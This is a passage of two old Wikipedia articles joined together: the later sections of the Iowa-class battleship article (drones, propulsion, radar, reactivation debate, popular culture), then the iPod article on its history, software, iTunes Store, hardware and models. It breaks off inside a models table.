          In part because of Israeli success with their deployment of the Mastiff unmanned aerial vehicles, the U.S. Navy made a covert request for a Mastiff drone system. Israel responded by lending a drone to the U.S. in 1984. The success of the Mastiff system in tests ultimately led the Navy to develop its own UAV system, resulting in the creation of the RQ-2 Pioneer UAV. The Pioneer made its first deployment in December 1986 aboard the Iowa.


          Launched from the fantail using a rocket-assist booster that was discarded shortly after takeoff, a Pioneer used an aft-mounted, push-propeller engine to achieve speeds of up to 90miles per hour (140km/h) with a mission endurance of about four hours. The Pioneer carried a video camera in a pod under the belly of the aircraft, which transmitted live video back to the ship so that the operators could observe enemy actions or fall of shot during naval gunnery. Because it was difficult to land the Pioneer without damaging itself or the ship, a large net was strung up for recovery as for a volleyball game, and the aircraft is flown into it. Each battleship could carry as many as eight Pioneers, sometimes referred to as remote piloted vehicles (RPVs).


          Pioneer garnered international attention for its use during the 1991 Gulf War, when it saw extensive use from the Missouri and Wisconsin. The latter became the first ship to have enemy forces surrender to one of its remotely controlled observation drones.



          


          Engineering plant
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          The Iowa-class battleships are the fastest battleships ever launched, capable of sustained speeds of 33knots (61km/h) or better. The engineering plant consists of four General Electric double-expansion steam turbine engines, each driving a single shaft that turns one screw. The two outboard screws on the Iowa class have four blades and are just over 18feet (5.5m) in diameter. The two inboard screws have five blades and are about 17.5feet (5.3m) in diameter.


          Eight Babcock and Wilcox M-Type boilers operate at 600 psi (4136.85 kPa) with a maximum superheater outlet temperature of 875 F (468 C)


          The double-expansion engines consist of a high-pressure (HP) turbine and a low-pressure (LP) turbine. The steam is first passed through the HP turbine which turns at up to 2,100 rpm. The steam, largely depleted at this point, is then passed through a large conduit to the LP turbine. By the time it reaches the LP turbine, it has no more than 50psi (300kPa) of pressure left. The LP turbine increases efficiency and power by extracting the last little bit of energy from the steam.


          After leaving the LP turbine, the exhaust steam passes into a condenser and is then returned as feed water to the boilers. Water lost in the process is replaced by three evaporators, which can make a total of 60,000 US gallons per day (3 liters per second) of fresh water. After the boilers have had their fill, the remaining fresh water is fed to the ship's potable water systems for drinking, showers, hand washing, cooking, etc. All of the urinals and all but one of the toilets on the Iowa class flush with saltwater in order to conserve fresh water.


          The turbines, especially the HP turbine, can turn at 2,000rpm; their shafts drive through reduction gearing that turns the propeller shafts at speeds up to 225rpm, depending upon the desired speed of the ship.


          


          Electricity
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          Electricity drives many systems aboard ship, including rotating the turrets and elevating the guns. Each of the four engine rooms has a pair of Ship's Service Turbine Generators (SSTGs) manufactured by Westinghouse. Each SSTG generates 1.25 MW for a total of 10MW of electricity. The SSTGs are powered by steam from the same boilers that feed the engines. For backup, the ship also has a pair of 250- kW diesel generators.


          To allow battle-damaged electrical circuits to be repaired or bypassed, the lower decks of the ship have a Casualty Power System whose large 3-wire cables and wall outlets called "biscuits" can be used to reroute power.


          


          Radar & electronic warfare systems


          Since the first commercial radar system was installed aboard the battleship USSTexas, battleships have used radar for aerial reconnaissance, surface surveillance, and as part of the fire control system for the battleship's guns. Since their modernization in the 1980s, the four Iowa class battleships have also used electronic countermeasures systems for defense against enemy missiles and aircraft.


          


          Radar
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          Each of the four Iowa-class battleships are equipped with the AN/SPS-49 Radar Set, an L-band, long-range, two-dimensional, air-search radar system that provides automatic detection and reporting of targets within its surveillance volume. The AN/SPS-49 performs accurate centroiding of target range, azimuth, amplitude, ECM level background, and radial velocity with an associated confidence factor to produce contact data for command and control systems. Additionally, the contact range and bearing information is provided for display on standard plan position indicator consoles.
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          The AN/SPS-49 uses a line-of-sight, horizon-stabilized antenna to provide acquisition of low-altitude targets in all sea states, and also utilizes an upspot feature to provide coverage for high diving threats in the high diver mode. External control of AN/SPS-49 modes and operation by the command and control system, and processing to identify and flag contacts as special alerts are provided for self-defense support.


          The AN/SPS-49 has several operational features to allow optimum radar performance: an automatic target detection capability with pulse doppler processing and clutter maps, ensuring reliable detection in normal and severe types of clutter; an electronic counter-countermeasures capability for jamming environments; a moving target indicator capability to distinguish moving targets from stationary targets and to improve target detection during the presence of clutter and chaff; the Medium PRF Upgrade (MPU) to increase detection capabilities and reduce false contacts; and a Coherent Sidelobe Cancellation (CSLC) feature.
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          The Iowa-class battleships are also equipped with the Radar Set AN/SPS-67, a short-range, two-dimensional, surface-search/navigation radar system that provides highly accurate surface and limited low-flyer detection and tracking capabilities. The AN/SPS-67 is a solid-state replacement for the AN/SPS-10 radar, using a more reliable antenna and incorporating standard electronic module technology for simpler repair and maintenance. The AN/SPS-67 provides excellent performance in rain and sea clutter, and is useful in harbour navigation, since the AN/SPS-67 is capable of detecting buoys and small obstructions without difficulty.


          The AN/SPS-67(V)1 radar is a two-dimensional (azimuth and range) pulsed radar set primarily designed for surface operations with a secondary capability of anti-ship-missile and low flier detection. The radar set operates in the 5450 to 5825MHz range, using a coaxial magnetron as the transmitter output tube. The transmitter/receiver is capable of operation in a long (1.0msec), medium (0.25msec), or short (0.10msec) pulse mode to enhance radar performance for specific operational or tactical situations. Pulse repetition frequencies (PRF) of 750,1200, and 2400pulses/second are used for the long, medium, and short pulse modes, respectively.


          


          Electronic warfare
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          In 1967 Egypt sank the Israeli destroyer Eilat using a Soviet SS-N-2 STYX missile, prompting the Chief of Naval Operations (CNO) to consider creating a family of inexpensive Electronic Warfare suites to replace and/or complement existing and planned ship surveillance sensors in the early 1970s, a feeling increased when an analysis of the existing AN/WLR-1 and AN/ULQ-6 systems installed on most ships determined that neither system could counter an Anti-Ship Cruise Missile (ASCM) in time to prevent a hit. In addition, hard kill weapons were not effective because there was little early warning of an attack due to the characteristics of ASCMs. The resulting EW suite was the AN/SLQ-32(V), which debuted in 1979 and was capable of early warning of threat weapon system emitters and emitters associated with targeting platforms, threat information to own ship hard-kill weapons, automatic dispensing of chaff decoys, and Electronic Attack (EA) to alter specific and generic ASCM trajectories. This system, specifically the SLQ-32(V)3 variant, was fitted to the Iowa class battleships in 1980s for defense against enemy anti-ship missiles.


          To counter the threat posed by enemy submarines the Iowa class were also outfitted with the AN/SLQ-25 Nixie, a towed torpedo decoy used on US and allied warships. It consists of a towed decoy device, and a shipboard signal generator. The decoy emits signals to draw a torpedo away from its intended target. The Nixie attempts to defeat a torpedo's passive sonar by emitting simulated ship noise, such as propeller and engine noise, which is more attractive than the ship to the torpedo's sensors. Active sonar is decoyed by amplifying and returning "pings" from the torpedo, presenting a larger false target to the torpedo.


          


          Reactivation potential


          
            [image: USS Wisconsin, shown moored in Norfolk, Virginia, is one of three Iowa-class battleships open to the public as museums, and was one of two maintained in the US Mothball fleet for potential reactivation.]

            
              USS Wisconsin, shown moored in Norfolk, Virginia, is one of three Iowa-class battleships open to the public as museums, and was one of two maintained in the US Mothball fleet for potential reactivation.
            

          


          After World War II, the United States maintained the four Iowa-class battleships in the United States Navy reserve fleets, better known as the "mothball fleet", and on several occasions reactivated these battleships for naval gunfire support. The U.S. Navy has held onto its battleships long after the expense and the arrival of aircraft and precision guided munitions led other nations to scrap their big-gun fleets. The United States Congress is largely responsible for this. The lawmakers argue that the battleships' large-caliber guns have a militarily useful destructive power lacking in the smaller, cheaper, and faster guns mounted by U.S. cruisers and destroyers.


          The Navy, which sees the battleships as too costly, is working to persuade Congress to allow it to remove Iowa and Wisconsin from the Naval Vessel Register by developing extended-range guided munitions and a new ship to fulfill Marine Corps requirements for naval surface fire support (NSFS).


          The Navy plan called for the extension of the range of the 5-inch (127mm) guns on the Flight I Arleigh Burke-class guided missile destroyers ( USSArleigh Burke to USSRoss) with Extended Range Guided Munitions (ERGMs) that would enable the ships to fire precision guided projectiles about 40nautical miles (70km) inland. The program was initiated in 1996 with a preliminary cost of US $78.6 million; however, the cost of the program increased 400% during its research and development phase. The results of the program had been similarly disappointing: the original expected operational capability date was pushed from 2001 to 2011 before being cancelled by the navy in March of 2008 for buget-related reasons and an apparent shift by the navy from the ERGM program to the Ballistic Trajectory Extended Range Munition (BTERM) program. These weapons are not intended or expected to satisfy the full range of the Marine Corps NSFS requirements. The result of the latter effort to design and build a replacement ship for the two battleships is the Zumwalt-class destroyer program, also known either as the DD(X) or DDG-1000 (in reference to Zumwalts hull number). The DD(X) is to mount a pair of Advanced Gun System (AGS) turrets capable of firing specially designed Long Range Land Attack Projectiles (LRLAPs) some 60miles (100km) inland. The Navy currently expects sufficient numbers of DD(X) destroyers to be ready to help fill the NSFS gap by 2018 at the earliest.


          
            
              	

              	DDG 1000 Zumwalt is [...] being developed by the Navy to serve as the backbone of tomorrows surface fleet. DDG 1000 Zumwalt provides a broad range of capabilities that are vital both to supporting the Global War on Terror and to fighting and winning major combatant operations. Zumwalts multi-mission warfighting capabilities are designed to counter not only the threats of today, but threats projected over the next decade as well.
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          On 17 March 2006 the Secretary of the Navy exercised his authority to strike Iowa and Wisconsin from the Naval Vessel Register, which has cleared the way for both ships to be donated for use as museums. The United States Navy and the United States Marine Corps have both certified that battleships will not be needed in any future war, and have thus turned their attention to development and construction of the next generation Zumwalt-class guided missile destroyers.


          This move has drawn fire from a variety of sources familiar with the subject; among them are dissenting members of the United States Marine Corps, who feel that battleships are still a viable solution to naval gunfire support, members of the United States Congress who remain "deeply concerned" over the loss of naval surface gunfire support that the battleships provided, and number of independent groups such as the United States' Naval Fire Support Association (USNFSA) whose ranks frequently include former members of the armed service and fans of the battleships. Although the arguments presented from each group differ, they all agree that the United States Navy has not in good faith considered the potential of reactivated battleships for use in the field, a position that is supported by a 1999 Government Accountability Office report regarding the United States Navy's gunfire support program.


          In 2007, a thesis report submitted to the Joint Forces Staff College/Joint Advanced Warfighting School by Shawn A. Welch, a Colonel in the Army National Guard's Corps of Engineers analyzed the current capacity for naval gunfire support (NGS) and made several conclusion based on the progress made since the retirement of the last two Iowa-class battleships. Welch's thesis report, which earned the National Defense Universities award for Best Thesis in 2007, estimates that the full force of DD(X) destoyers needed to replace the decommissioned Iowas will not arrive until 2020-2025 at the earliest, and alleges that the U.S. Navy has not accurately assessed the capabilities of its large caliber gun ships since 1990. The report alleges that the Navy has consistently scaled back or outright cancelled programs intended to replace naval gunfire support capacity, in the process making no significant gains for offshore fire support since the retirement of the last Iowa-class battleship in 1992. This failure by the navy to meet Congressional mandates to improve naval gunfire support has caused a rift with the United States Marine Corps and to a lesser extent the United States Army; in the case of the former, the concern is great enough that several three and four star generals in the Marine Corps have openly admitted to the press their concern over the absence of any effective ship based gunfire support, and two separate Commandants of the Marine Corps have testified before the Senate Armed Service Committee on the risks faced by the Marines in the absence of any effective naval gunfire support.


          In response, the Navy has pointed to the cost of reactivating the two Iowa class battleships to their decommissioned capability. The Navy estimates costs in excess of $500 million, but this does not include an additional $110 million needed to replenish gunpowder for the 16-inch (406mm) guns because a recent survey found the powder to be unsafe. In terms of schedule, the Navy's program management office estimates that reactivation would take 20 to 40 months, given the loss of corporate memory and the shipyard industrial base.


          
            
              	

              	In summary, the committee is concerned that the Navy has foregone the long range fire support capability of the battleship, has given little cause for optimism with regard to meeting near-term developmental objectives, and appears unrealistic in planning to support expeditionary warfare in the mid term. The committee views the Navy's strategy for providing naval surface fire support as 'high risk', and will continue to monitor progress accordingly.

              	
            


            
              	
                Evaluation of the United States Navy's naval surface fire support program in the National Defense Authorization Act of 2007,

              
            

          


          Reactivating the battleships would require a wide range of battleship modernization improvements, according to the Navy's program management office. At a minimum, these modernization improvements include command and control, communications, computers, and intelligence equipment; environmental protection (including ozone-depleting substances); a plastic-waste processor; pulper/shredder and wastewater alterations; firefighting/fire safety and women-at-sea alterations; a modernized sensor suite (air and surface search radar); and new combat and self-defense systems. The Navy's program management office also identified other issues that would strongly discourage the Navy from reactivating and modernizing the battleships. For example, personnel needed to operate the battleships would be extensive, and the skills needed may not be available or easily reconstituted. Other issues include the age and unreliability of the battleships' propulsion systems and the fact that the Navy no longer maintains the capability to manufacture their 16-inch (410mm) gun system components and ordnance.


          Although the Navy firmly believes in the capabilities of the DD(X) destroyer program, members of the United States Congress remain skeptical about the efficiency of the new destroyers when compared to the battleships. Partially as a consequence the US House of Representatives have asked that the battleships be kept in a state of readiness should they ever be needed again. Congress has asked that the following measures be implemented to ensure that, if need be, Iowa and Wisconsin can be returned to active duty:


          
            	Iowa and Wisconsin must not be altered in any way that would impair their military utility;


            	The battleships must be preserved in their present condition through the continued use of cathodic protection, dehumidification systems, and any other preservation methods as needed;


            	Spare parts and unique equipment such as the 16-inch (410mm) gun barrels and projectiles be preserved in adequate numbers to support Iowa and Wisconsin, if reactivated;


            	The Navy must prepare plans for the rapid reactivation of Iowa and Wisconsin should they be returned to the Navy in the event of a national emergency.

          


          These four conditions closely mirror the original three conditions that the Nation Defense Authorization Act of 1996 laid out for the maintenance of Iowa and Wisconsin while they were in the Mothball Fleet. It is unlikely that these conditions will impede the current plan to turn Iowa and Wisconsin into museum ships.


          


          Popular culture


          The Iowa class-battleships have been featured prominently in American culture. Iowa was the centerpiece for the book A Glimpse of Hell: The Explosion on the U. S. S. Iowa & Its Cover-Up which dealt with the events surrounding the 1989 explosion of her #2 turret. In 2001 the book was turned into a movie by the same name staring James Caan and directed by Mikael Salomon. Missouri was featured in the 1977 movie MacArthur, starring Gregory Peck, the 1983 television mini-series The Winds of War, starring Ralph Bellamy and Robert Mitchum, and Cher's music video " If I Could Turn Back Time". The 1992 movie Under Siege, staring Steven Seagal, was also set aboard Missouri, although the movie was actually filmed aboard the battleship USSAlabama. Wisconsin was featured prominently in the news during the 1991 Gulf War, when she became the first ship to receive the surrender of enemy troops on the ground when her Pioneer drone recorded Iraqi soldiers waving white flags after being shelled by Missouri.


          Aside from the above appearances of the Iowa-class battleships in popular culture, all four battleships have been featured to greater or lesser degrees in military science related media, in particular documentaries on or relating to World War II. Missouri, in particular, has received much attention in this area as it was on her deck that the Empire of Japan formally surrendered to the Allied Powers of World War II, thus ending the Second World War. In addition to appearances in documentary related material, the Iowa-class battleships do occasionally feature in alternative history scenarios, in particular with regards to the Cold War and the threat of armed conflict between Warsaw Pact and NATO forces. Such scenarios usually feature the battleships in naval gunfire support missions for U.S. or NATO personnel.


          
            Retrieved from " http://en.wikipedia.org/wiki/Iowa_class_battleship"
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                  The current iPod line consists of (from left to right) the iPod shuffle,

                  iPod nano, iPod classic and iPod touch.
                

              
            


            
              	Manufacturer

              	Apple Inc.
            


            
              	Type

              	Portable media player
            


            
              	Retail availability

              	2001
            


            
              	Unitssold

              	Over 141 million units worldwide, as of January 2008
            


            
              	Online services

              	iTunes Store
            

          


          iPod is a brand of portable media players designed and marketed by Apple and launched on October 23, 2001. The line-up currently consists of the hard drive-based flagship iPod classic, the high-end touchscreen iPod touch, the mid-level video-capable iPod nano, and the entry-level screenless iPod shuffle. Former products include the compact iPod mini (replaced by the iPod nano) and the high-end spin-off iPod photo (re-integrated into the main iPod classic line). iPod classic models store media on an internal hard drive, while all other models use flash memory to enable their smaller size (the discontinued mini used a Microdrive miniature hard drive). As with many other digital music players, iPods, excluding the iPod Touch, can also serve as external data storage devices.


          Apple's iTunes software is used to transfer music to the devices. As a jukebox application, iTunes stores a music library on the user's computer and can play, burn, and rip music from a CD. It also transfers photos, videos, games, and calendars to those iPod models that support them. Apple focused its development on the iPod's unique user interface and its ease of use, rather than on technical capability. As of October 2007, the iPod had sold over 119 million units worldwide (stated in "The Beat Goes On" conference) making it the best-selling digital audio player series in history.


          


          History and design


          iPod came from Apple's digital hub strategy, when the company began creating software for the growing market of digital devices being purchased by consumers. Digital cameras, camcorders and organizers had well-established mainstream markets, but the company found existing digital music players "big and clunky or small and useless" with user interfaces that were "unbelievably awful," so Apple decided to develop its own. Apple's hardware engineering chief, Jon Rubinstein, ordered by Steve Jobs, assembled a team of engineers to design it, including hardware engineers Tony Fadell and Michael Dhuey, and design engineer Jonathan Ive. The product was developed in less than a year and unveiled on October 23, 2001. CEO Steve Jobs announced it as a Mac-compatible product with a 5GB hard drive that put "1,000 songs in your pocket."


          Uncharacteristically, Apple did not develop iPod's software entirely in-house. Apple instead used PortalPlayer's reference platform which was based on 2 ARM cores. The platform had rudimentary software running on a commercial microkernel embedded operating system. PortalPlayer had previously been working on an IBM-branded MP3 player with Bluetooth headphones. Apple contracted another company, Pixo, to help design and implement the user interface, under the direct supervision of Steve Jobs. Once established, Apple continued to refine the software's look and feel. Starting with iPod mini, the Chicago font was replaced with Espy Sans. Later iPods switched fonts again to Podium Sans  a font similar to Apple's corporate font Myriad. iPods with colour displays then adopted some Mac OS X themes like Aqua progress bars, and brushed metal in the lock interface. In 2007, Apple modified the iPod interface again with the introduction of the sixth-generation iPod classic and third-generation iPod nano by changing the font to Helvetica, and in most cases, splitting the screen in half by displaying the menus on the left and album artwork, photos, or videos on the right (whichever was appropriate for the selected item).


          


          Trademark


          The name iPod was proposed by Vinnie Chieco, a freelance copywriter, who (with others) was called by Apple to figure out how to introduce the new player to the public. After Chieco saw a prototype, he thought of the movie 2001: A Space Odyssey and the phrase "Open the pod bay door, Hal!", which refers to the white EVA Pods of the Discovery One spaceship. Apple researched the trademark and found that it was already in use. Joseph N. Grasso of New Jersey had originally listed an "iPod" trademark with the U.S. Patent and Trademark Office in July 2000 for Internet kiosks. The first iPod kiosks had been demonstrated to the public in New Jersey in March 1998, and commercial use began in January 2000. The trademark was registered by the USPTO in November 2003, and Grasso assigned it to Apple Computer, Inc. in 2005.


          


          Software


          iPod can play MP3, AAC/ M4A, Protected AAC, AIFF, WAV, Audible audiobook, and Apple Lossless audio file formats. The iPod photo introduced the ability to display JPEG, BMP, GIF, TIFF, and PNG image file formats. Fifth and sixth generation iPod classics, as well as third generation iPod nanos, can additionally play MPEG-4 ( H.264/MPEG-4 AVC) and QuickTime video formats, with restrictions on video dimensions, encoding techniques and data-rates. Originally, iPod software only worked with Macs; however, starting with the second generation model, iPod software worked with Windows and Macs. Unlike most other media players, Apple does not support Microsoft's WMA audio format  but a converter for WMA files without Digital Rights Management (DRM) is provided with the Windows version of iTunes. MIDI files also cannot be played, but can be converted to audio files using the "Advanced" menu in iTunes. Alternative open-source audio formats such as Ogg Vorbis and FLAC are not supported without installing custom firmware onto the iPod.


          The iPod is associated with one host computer. Each time an iPod connects to its host computer, iTunes can synchronize entire music libraries or music playlists either automatically or manually. Song ratings can be set on the iPod and synchronized later to the iTunes library, and vice versa. A user can access, play, and add music on a second computer if the iPod is set to manual and not automatic sync, but anything added or edited will be reversed upon connecting and syncing with the main computer and its library. If a user wishes to automatically sync music with a another computer, the iPod's library will be entirely wiped and replaced with the other computer's library.


          


          User interface


          
            [image: The iPod's signature Click Wheel.]

            
              The iPod's signature Click Wheel.
            

          


          iPods with colour displays use anti-aliased graphics and text, with sliding animations. Classic iPods have five buttons and the later generations have the buttons integrated into the click wheel  an innovation which gives an uncluttered, minimalist interface. The buttons perform basic functions such as play, next track, etc. Other operations such as scrolling through menu items and controlling the volume are performed by using the click wheel in a rotational manner. iPod shuffle does not have a click wheel and instead has five buttons positioned differently from the larger models. iPod touch uses no buttons for any of these functions, instead relying on a Multi-touch input style similar to that of the iPhone.


          


          iTunes Store


          The iTunes Store is an online media store run by Apple and accessed via iTunes. It was introduced on April 29, 2003 and it sells individual songs, with typical prices being US $0.99, AU $1.69 (inc. GST), NZ $1.79 (inc. GST), 0.99 (inc. VAT), or 0.79 (inc. VAT) per song. Since no other portable player supports the DRM used, only iPods can play protected content from the iTunes store. The store became the market leader soon after its launch and Apple announced the sale of videos through the store on October 12, 2005. Full-length movies became available on September 12, 2006.


          Purchased audio files use the AAC format with added encryption. The encryption is based on the FairPlay DRM system. Up to five authorized computers and an unlimited number of iPods can play the files. Burning the files onto an audio CD, then re-compressing can create music files without the DRM, although this results in reduced quality. The DRM can also be removed using third-party software. However, in a deal with Apple, EMI began selling DRM-free, higher-quality songs on the iTunes Stores, in a category called "iTunes Plus." While individual songs were made available at a cost of US$1.29, 30 more than the cost of a regular DRM song, entire albums were available for the same price, US$9.99, as DRM encoded albums. On October 17, 2007, Apple lowered the cost of individual iTunes Plus songs to US$.99 per song, the same as DRM encoded tracks.


          iPods cannot play music files from competing music stores that use rival-DRM technologies like Microsoft's protected WMA or RealNetworks' Helix DRM. Example stores include Napster and MSN Music. RealNetworks claims that Apple is creating problems for itself by using FairPlay to lock users into using the iTunes Store. Steve Jobs has stated that Apple makes little profit from song sales, although Apple uses the store to promote iPod sales. However, iPods can also play music files from online stores that do not use DRM, such as eMusic or Amie Street.


          On July 3, 2007, Universal Music Group decided not to renew their contract with the iTunes music store. Universal will now supply iTunes in an 'at will' capacity.


          On September 5, 2007, at Apple's Media Event entitled "The Beat Goes On...", the company debuted the iTunes Wi-Fi Music Store which allows users to access the Music Store from either iPhone or the iPod Touch and download songs directly to the device which can be synced to the user's iTunes Library.


          


          File storage and transfer


          All iPods except for the touch can function in "disk mode" as mass storage devices to store data files. If the iPod is formatted on a Mac OS X computer it uses the HFS+ file system format, which allows it to serve as a boot disk for a Mac computer. If it is formatted on Windows, the FAT32 format is used. With the advent of the Windows-compatible iPod, iPod's default file system switched from HFS+ to FAT32, although it can be reformatted to either filesystem (excluding the iPod shuffle which is strictly FAT32). Generally, if a new iPod (excluding the iPod shuffle) is initially plugged into a computer running Windows, it will be formatted with FAT32, and if initially plugged into a Mac running Mac OS X it will be formatted with HFS+.


          Unlike many other MP3 players, simply copying audio or video files to the drive with a typical file management application will not allow iPod to properly access them. The user must use software that has been specifically designed to transfer media files to iPods, so that the files are playable and viewable. Aside from iTunes, several alternative third-party applications are available on a number of different platforms.


          iTunes 7 and above can transfer purchased media of the iTunes Store from an iPod to a computer, provided that the DRM media is transferred to any of the five computers allowed for authorization with DRM media.


          Media files are stored on the iPod in a hidden folder, together with a proprietary database file. The hidden content can be accessed on the host operating system by enabling hidden files to be shown. The audio can then be recovered manually by dragging the files or folders onto the iTunes Library or by using third-party software.


          


          Equalizer


          If the sound is enhanced with the iPod's software equalizer (EQ), some EQ settings  like R&B, Rock, Acoustic, and Bass Booster  can cause bass distortion too easily. The equalizer amplifies the digital audio level beyond the software's limit, causing distortion ( clipping) on songs that have a bass drum or use a bassy instrument, even when the amplifier level is low. One possible workaround is to reduce the volume level of the songs by modifying the audio files.


          


          Hardware


          


          Chipsets and electronics


          Microcontroller


          
            	iPod first to third generations  Two ARM 7TDMI-derived CPUs running at 90MHz.


            	iPod fourth and fifth generations, iPod mini, iPod nano first generation  Variable-speed ARM 7TDMI CPUs, running at a peak of 80MHz to save battery life.


            	iPod nano second generation  Samsung System-On-Chip, based around an ARM processor.


            	iPod shuffle first generation  SigmaTel STMP3550 chip that handles both the music decoding and the audio circuitry.

          


          Audio chip


          
            	All iPods (except the shuffle and 6G) use audio codecs developed by Wolfson Microelectronics.


            	Sixth generation iPods use a Cirrus Logic audio codec chip.

          


          Storage medium


          
            	iPod first to fifth generation  45.7 mm (1.8 in) hard drives (ATA-6, 4200rpm with proprietary connectors) made by Toshiba


            	iPod mini  25.4 mm (1 in) Microdrives manufactured by Hitachi and Seagate


            	iPod nano  Flash memory from Samsung, Toshiba, and others.


            	iPod shuffle  Flash memory

          


          Batteries


          
            	iPod first and second generation, nano, shuffle  Internal lithium polymer batteries


            	iPod third to fifth generation  Internal lithium-ion batteries

          


          


          Connectivity


          
            [image: Two iPod wall chargers, with FireWire (left) and USB (right) connectors, which allow iPods to charge without a computer.]

            
              Two iPod wall chargers, with FireWire (left) and USB (right) connectors, which allow iPods to charge without a computer.
            

          


          Originally, a FireWire connection to the host computer was used to update songs or recharge the battery. The battery could also be charged with a power adapter that was included with the first four generations. The third generation began including a dock connector, allowing for FireWire or USB connectivity. This provided better compatibility with PCs, as most of them did not have FireWire ports at the time. The dock connector also brought opportunities to exchange data, sound and power with an iPod, which ultimately created a large market of accessories, manufactured by third parties such as Belkin and Griffin. The second generation iPod shuffle uses a single 3.5mm jack which acts as both a headphone jack and a data port for the dock.


          Eventually Apple began shipping iPods with USB cables instead of FireWire, although the latter was available separately. As of the first generation iPod nano and the fifth generation iPod classic, Apple discontinued using FireWire for data transfer and made a full transition to USB 2.0 in an attempt to reduce cost and form factor. With these changes, FireWire could only be used for recharging.


          


          iPod dock connector


          Introduced in the third-generation iPod, the iPod's 30-pin dock connector allows iPods to be connected to a variety of accessories, which can range from televisions to speaker systems. Some peripherals utilize their own interface, while others use the iPod's own screen for access. Such accessories may be used for music, video, and photo playback. Because the dock connector is a proprietary interface, the implementation of the interface requires paying royalties to Apple.


          


          Accessories


          Many accessories have been made for the iPod. A large amount are made by third party companies, although many, such as iPod Hi-Fi, are made by Apple. This market is sometimes described as the iPod ecosystem. Some accessories add extra features that other music players have, such as sound recorders, FM radio tuners, wired remote controls, and audio/visual cables for TV connections. Other accessories offer unique features like the Nike+iPod pedometer and the iPod Camera Connector. Other notable accessories include external speakers, wireless remote controls, protective cases/films and wireless earphones. Among the first accessory manufacturers were Griffin Technology, Belkin, JBL, Bose, Monster Cable, and SendStation.


          
            [image: Two designs of iPod earbuds. The current version is shown on the right.]

            
              Two designs of iPod earbuds. The current version is shown on the right.
            

          


          The white earphones (or "earbuds") that ship with all iPods have become symbolic of the brand. Advertisements feature them prominently, often contrasting the white earphones (and cords) with people shown as dark silhouettes. The original earphones came with the first generation iPod. They were revised to be smaller after Apple received complaints of the earbuds being too large. The revised earphones were shipped with second through early fifth generation iPods, the iPod mini, and the first generation nanos. The earbuds were revised again in 2006, featuring an even smaller and more streamlined design. This third type was shipped with late fifth generation iPods and the second generation nanos. All first generation iPod shuffles and the second generation up until January 30, 2007 (when colour models were introduced) had the second kind; those that shipped after that date had the third kind.


          In 2005, New York's Metropolitan Transportation Authority placed advertisements on the subways warning passengers that "Earphones are a giveaway. Protect your device", after iPod thefts on the subway rose from zero in 2004 to 50 in the first three months of 2005.


          BMW released the first iPod automobile interface, allowing drivers of newer BMW vehicles to control their iPod using either the built-in steering wheel controls or the radio head-unit buttons. Apple announced in 2005 that similar systems would be available for other vehicle brands, including Mercedes-Benz, Volvo, Nissan, Alfa Romeo, Ferrari, Acura, Audi, Honda, Renault and Volkswagen. Scion offers standard iPod connectivity on all their cars.


          Some independent stereo manufacturers including JVC, Pioneer, Kenwood, Alpine, Sony, and Harman Kardon also have iPod-specific integration solutions. Alternative connection methods include adaptor kits (that use the cassette deck or the CD changer port), audio input jacks, and FM transmitters such as the iTrip  although personal FM transmitters are illegal in some countries. Many car manufacturers have added audio input jacks as standard.


          Beginning in mid-2007, four major airlines, United, Continental, Delta, and Emirates reached agreements to install iPod seat connections. The free service will allow passengers to power and charge their iPod, and view their video and music libraries on individual seat-back displays. Originally KLM and Air France were reported to be part of the deal with Apple, but they later released statements explaining that they were only contemplating the possibility of incorporating such systems.


          


          Battery issues


          The advertised battery life on most models is different from the real-world achievable life. For example, the fifth generation 30GB iPod is advertised as having up to 14 hours of music playback. An MP3.com report stated that this was virtually unachievable under real-life usage conditions, with a writer for MP3.com getting on average less than 8 hours from his or her iPod. In 2003, class action lawsuits were brought against Apple complaining that the battery charges lasted for shorter lengths of time than stated and that the battery degraded over time. The lawsuits were settled by offering individuals either US$50 store credit or a free battery replacement.


          iPod batteries are not designed to be removed or replaced by the user, although some users have been able to open the case themselves, usually following instructions from third-party vendors of iPod replacement batteries. Compounding the problem, Apple initially would not replace worn-out batteries. The official policy was that the customer should buy a refurbished replacement iPod, at a cost almost equivalent to a brand new one. All lithium-ion batteries eventually lose capacity during their lifetime (guidelines are available for prolonging life-span) and this situation led to a small market for third-party battery replacement kits.


          Apple announced a battery replacement program on November 14, 2003, a week before a high publicity stunt and website by the Neistat Brothers. The initial cost was US$99, and it was lowered to US$59 in 2005. One week later, Apple offered an extended iPod warranty for US$59. For the iPod nano, soldering tools are needed because the battery is soldered onto the main board. Fifth generation iPods have their battery attached to the backplate with adhesive.


          


          Bass response


          The third generation iPod had a weak bass response, as shown in audio tests. The combination of the undersized DC-blocking capacitors and the typical low- impedance of most consumer headphones form a high-pass filter, which attenuates the low-frequency bass output. Similar capacitors were used in the fourth generation iPods. The problem is reduced when using high-impedance headphones and is completely masked when driving high-impedance (line level) loads, such as an external headphone amplifier. The first generation iPod shuffle uses a dual-transistor output stage rather than a single capacitor-coupled output, and does not exhibit reduced bass response for any load.


          


          Models


          The iPod has been upgraded many times, and each significant revision is called a " generation". Only the most recent (highest numbered) generation and refurbished units of previous generations of the iPod is available from Apple for each model (classic, nano, shuffle, touch). Each new generation usually has more features and refinements while typically being physically smaller and lighter than its predecessor, while usually (but not always) retaining the older model's price tag. Notable changes include the touch-sensitive click wheel replacing the mechanical scroll wheel, use of colour displays, and flash memory replacing hard disks.


          
            
              	Model

              	Generation

              	Image

              	Capacity

              	Connection

              	Original release date

              	Minimum OS to sync

              	Rated battery life (hours)
            


            
              	classic

              	first

              	[image: first generation iPod]

              	5, 10GB

              	FireWire

              	23 October 2001

              	Mac: 9, 10.1

              	audio:10
            


            
              	First model, with mechanical scroll wheel. 10GB model released later.
            


            
              	second

              	[image: A second generation iPod (2002)]

              	10, 20GB

              	FireWire

              	17 July 2002

              	Mac: 10.1

              Win:2000

              	audio:10
            


            
              	Touch-sensitive wheel. FireWire port had a cover. Hold switch revised. Windows compatibility through Musicmatch.
            


            
              	third

              	[image: third generation iPod]

              	10, 15, 20, 30, 40GB

              	FireWire ( USB for syncing only)

              	28 April 2003

              	Mac: 10.1

              Win:2000

              	audio:8
            


            
              	First complete redesign with all-touch interface, dock connector, and slimmer case. Musicmatch support dropped with later release of iTunes 4.1 for Windows.
            


            
              	fourth

              ( photo) ( colour)

              	[image: fourth generation iPod]

              	20, 40GB

              	FireWire or USB

              	19 July 2004

              	Mac: 10.2

              Win:2000

              	audio:12
            


            
              	Adopted Click Wheel from iPod mini.
            


            
              	[image: fourth generation iPod]

              	photo:

              30, 40, 60GB

              	FireWire or USB

              	26 October 2004

              	Mac: 10.2

              Win:2000

              	audio:15

              slideshow:5
            


            
